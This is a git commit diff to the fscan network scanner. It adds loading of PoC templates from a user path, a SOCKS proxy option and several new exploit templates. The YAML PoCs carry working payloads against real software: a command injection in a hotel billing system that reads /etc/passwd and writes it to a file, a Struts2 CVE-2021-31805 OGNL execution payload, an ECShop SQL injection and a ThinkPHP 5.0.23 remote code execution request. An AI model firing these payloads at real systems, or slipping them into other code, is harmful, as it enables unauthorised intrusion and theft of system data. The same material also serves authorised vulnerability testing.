poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程

This commit is contained in:
影舞者
2022-04-20 17:45:27 +08:00
parent d1ff89676d
commit 4c51ae1f2a
19 changed files with 347 additions and 136 deletions
+57 -1
View File
@@ -6,13 +6,19 @@ import (
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"net/http"
"os"
"path/filepath"
"strings"
"sync"
)
//go:embed pocs
var Pocs embed.FS
var once sync.Once
var AllPocs []*lib.Poc
func WebScan(info *common.HostInfo) {
once.Do(initpoc)
var pocinfo = common.Pocinfo
buf := strings.Split(info.Url, "/")
pocinfo.Target = strings.Join(buf[:3], "/")
@@ -38,5 +44,55 @@ func Execute(PocInfo common.PocInfo) {
if PocInfo.Cookie != "" {
req.Header.Set("Cookie", PocInfo.Cookie)
}
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
pocs := filterPoc(PocInfo.PocName)
lib.CheckMultiPoc(req, pocs, PocInfo.Num)
}
func initpoc() {
if common.PocPath == "" {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Printf("[-] init poc error: %v", err)
return
}
for _, one := range entries {
path := one.Name()
if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
if poc, _ := lib.LoadPoc(path, Pocs); poc != nil {
AllPocs = append(AllPocs, poc)
}
}
}
} else {
err := filepath.Walk(common.PocPath,
func(path string, info os.FileInfo, err error) error {
if err != nil || info == nil {
return err
}
if !info.IsDir() {
if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
poc, _ := lib.LoadPocbyPath(path)
if poc != nil {
AllPocs = append(AllPocs, poc)
}
}
}
return nil
})
if err != nil {
fmt.Printf("[-] init poc error: %v", err)
}
}
}
func filterPoc(pocname string) (pocs []*lib.Poc) {
if pocname == "" {
return AllPocs
}
for _, poc := range AllPocs {
if strings.Contains(poc.Name, pocname) {
pocs = append(pocs, poc)
}
}
return
}
+61 -64
View File
@@ -1,7 +1,6 @@
package lib
import (
"embed"
"fmt"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/WebScan/info"
@@ -26,22 +25,22 @@ type Task struct {
Poc *Poc
}
func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string) {
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
tasks := make(chan Task)
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
go func() {
for task := range tasks {
isVul, _ ,name:= executePoc(task.Req, task.Poc)
isVul, _, name := executePoc(task.Req, task.Poc)
if isVul {
result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name,name)
result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name)
common.LogSuccess(result)
}
wg.Done()
}
}()
}
for _, poc := range LoadMultiPoc(Pocs, pocname) {
for _, poc := range pocs {
task := Task{
Req: req,
Poc: poc,
@@ -53,7 +52,7 @@ func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string
close(tasks)
}
func executePoc(oReq *http.Request, p *Poc) (bool, error,string) {
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
c := NewEnvOption()
c.UpdateCompileOptions(p.Set)
if len(p.Sets) > 0 {
@@ -65,12 +64,12 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error,string) {
}
env, err := NewEnv(&c)
if err != nil {
fmt.Printf("[-] %s environment creation error: %s\n",p.Name,err)
fmt.Printf("[-] %s environment creation error: %s\n", p.Name, err)
return false, err, ""
}
req, err := ParseRequest(oReq)
if err != nil {
fmt.Printf("[-] %s ParseRequest error: %s\n",p.Name,err)
fmt.Printf("[-] %s ParseRequest error: %s\n", p.Name, err)
return false, err, ""
}
variableMap := make(map[string]interface{})
@@ -163,67 +162,66 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error,string) {
return success, nil, ""
}
DealWithRule := func(rule Rules) (bool, error) {
var (
flag, ok bool
)
for k1, v1 := range variableMap {
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
for k1, v1 := range variableMap {
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// 某些poc没有区分path和query,需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
newRequest.Header = oReq.Header.Clone()
for k, v := range rule.Headers {
newRequest.Header.Set(k, v)
}
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, err
}
variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
} else {
req.Url.Path = rule.Path
return false, nil
}
// 某些poc没有区分path和query,需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
newRequest.Header = oReq.Header.Clone()
for k, v := range rule.Headers {
newRequest.Header.Set(k, v)
}
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, err
}
variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
} else {
return false, nil
}
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
//如果false不继续执行后续rule
// 如果最后一步执行失败,就算前面成功了最终依旧是失败
flag, ok = out.Value().(bool)
if !ok {
flag = false
}
return flag, nil
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
//如果false不继续执行后续rule
// 如果最后一步执行失败,就算前面成功了最终依旧是失败
flag, ok = out.Value().(bool)
if !ok {
flag = false
}
return flag, nil
}
DealWithRules := func(rules []Rules) bool {
@@ -718,7 +716,7 @@ func evalset(env *cel.Env, variableMap map[string]interface{}) {
if strings.Contains(k, "payload") {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
//fmt.Println(err)
fmt.Println(err)
variableMap[k] = expression
} else {
variableMap[k] = fmt.Sprintf("%v", out)
@@ -729,10 +727,9 @@ func evalset(env *cel.Env, variableMap map[string]interface{}) {
func CheckInfoPoc(infostr string) string {
for _, poc := range info.PocDatas {
if strings.Compare(poc.Name,infostr) == 0 {
if strings.Compare(poc.Name, infostr) == 0 {
return poc.Alias
}
}
return ""
}
+2
View File
@@ -45,6 +45,8 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err
if DownProxy != "" {
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if DownProxy == "2" {
DownProxy = "socks5://127.0.0.1:1080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
+1 -1
View File
@@ -591,7 +591,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
raw, err := ioutil.ReadAll(io.LimitReader(oResp.Body, int64(5<<20)))
if err != nil {
return nil, err
}
+23 -8
View File
@@ -8,6 +8,7 @@ import (
"fmt"
"github.com/golang/protobuf/proto"
"gopkg.in/yaml.v3"
"io/ioutil"
"math"
"strings"
)
@@ -17,7 +18,7 @@ type Poc struct {
Set map[string]string `yaml:"set"`
Sets map[string][]string `yaml:"sets"`
Rules []Rules `yaml:"rules"`
Groups map[string][]Rules `yaml:"groups"`
Groups map[string][]Rules `yaml:"groups"`
Detail Detail `yaml:"detail"`
}
@@ -38,7 +39,6 @@ type Detail struct {
Version string `yaml:"version"`
}
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
@@ -383,29 +383,29 @@ var fileDescriptor_11b04836674e6f94 = []byte{
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
}
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := loadPoc(f, Pocs); err == nil {
if p, err := LoadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
}else {
fmt.Println("[-] load poc ",f," error:",err)
} else {
fmt.Println("[-] load poc ", f, " error:", err)
}
}
return pocs
}
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
fmt.Printf("[-] load poc %s error: %v", fileName, err)
return nil, err
}
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
fmt.Printf("[-] load poc %s error: %v", fileName, err)
return nil, err
}
return p, err
@@ -424,3 +424,18 @@ func SelectPoc(Pocs embed.FS, pocname string) []string {
}
return foundFiles
}
func LoadPocbyPath(fileName string) (*Poc, error) {
p := &Poc{}
data, err := ioutil.ReadFile(fileName)
if err != nil {
fmt.Printf("[-] load poc %s error: %v", fileName, err)
return nil, err
}
err = yaml.Unmarshal(data, p)
if err != nil {
fmt.Printf("[-] load poc %s error: %v", fileName, err)
return nil, err
}
return p, err
}
@@ -0,0 +1,15 @@
name: Hotel-Internet-Manage-RCE
rules:
- method: GET
path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1"
headers:
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"
Accept-Encoding: "gzip,deflate"
expression: |
response.status == 200 && response.body.bcontains(b"parent.doTestResult")
detail:
author: test
Affected Version: "Hotel Internet Billing & Operation Support System"
links:
- http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8
@@ -0,0 +1,31 @@
name: poc-yaml-struts2-062-cve-2021-31805-rce
rules:
- method: POST
path: /
headers:
Content-Type: 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF'
Cache-Control: 'max-age=0'
Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
body: "\
------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\n\
Content-Disposition: form-data; name=\"id\"\r\n\r\n\
%{\r\n\
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n\
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n\
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n\
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n
}\r\n\
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
"
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: Jaky
links:
- https://mp.weixin.qq.com/s/taEEl6UQ2yi4cqzs2UBfCg
+15
View File
@@ -0,0 +1,15 @@
name: poc-yaml-ecshop-login-sqli
set:
r1: randomInt(10000, 99999)
rules:
- method: GET
path: /user.php?act=login
headers:
Content-Type: application/x-www-form-urlencoded
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:71:"0,1 procedure analyse(updatexml(1,insert(md5({{r1}}),1,1,0x7e),1),1)-- -";s:2:"id";i:1;}
follow_redirects: false
expression: response.body.bcontains(bytes(substr(md5(string(r1)), 1, 32)))
detail:
author: chalan630
links:
- https://phishingkittracker.blogspot.com/2019/08/userphp-ecshop-sql-injection-2017.html
+15 -2
View File
@@ -1,5 +1,17 @@
name: poc-yaml-thinkphp5023-method-rce
rules:
set:
rand: randomLowercase(10)
groups:
poc1:
- method: POST
path: /index.php?s=captcha
headers:
Content-Type: application/x-www-form-urlencoded
body: |
_method=__construct&filter[]=var_dump&method=GET&get[]={{rand}}
expression: |
response.body.bcontains(bytes(rand))
poc2:
- method: POST
path: /index.php?s=captcha
headers:
@@ -8,6 +20,7 @@ rules:
_method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu&get[]=1
expression: |
response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu1")
detail:
links:
- https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce
- https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce